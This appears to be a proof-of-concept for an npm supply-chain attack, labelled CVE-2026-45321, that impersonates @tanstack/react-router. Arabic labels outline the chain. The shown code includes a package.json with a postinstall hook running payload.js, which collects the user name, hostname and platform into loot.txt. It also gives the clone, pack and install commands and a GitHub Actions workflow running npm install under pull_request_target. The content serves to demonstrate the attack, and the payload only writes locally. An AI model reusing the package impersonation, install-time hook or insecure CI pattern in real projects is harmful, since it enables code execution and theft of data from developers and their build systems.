حزمة المهاجم
        ↓
npm install
        ↓
تشغيل سكربت postinstall
        ↓
تنفيذ payload.js تلقائيًا
        ↓
إصابة الضحية بالتنفيذ وقت التثبيت

git clone https://github.com/renewablehacking/CVE-2026-45321-Tanstack.git

cd CVE-2026-45321-Tanstack

cd attacker-package

npm install

npm pack

tanstack-react-router-1.169.5.tgz

cd ../victim-project

npm install ../attacker-package/tanstack-react-router-1.169.5.tgz --foreground-scripts

=== MALICIOUS PAYLOAD EXECUTED ===

loot.txt

const os = require('os');
const fs = require('fs');

console.log("=== MALICIOUS PAYLOAD EXECUTED ===");

const info = `
USER=${process.env.USER}
HOST=${os.hostname()}
PLATFORM=${os.platform()}
`;

console.log(info);

fs.writeFileSync("loot.txt", info);

{
  "name": "@tanstack/react-router",
  "version": "1.169.5",
  "scripts": {
    "postinstall": "node payload.js"
  }
}

name: CI

on:
  pull_request_target:

jobs:
  build:
    runs-on: ubuntu-latest

    steps:
      - uses: actions/checkout@v4

      - run: npm install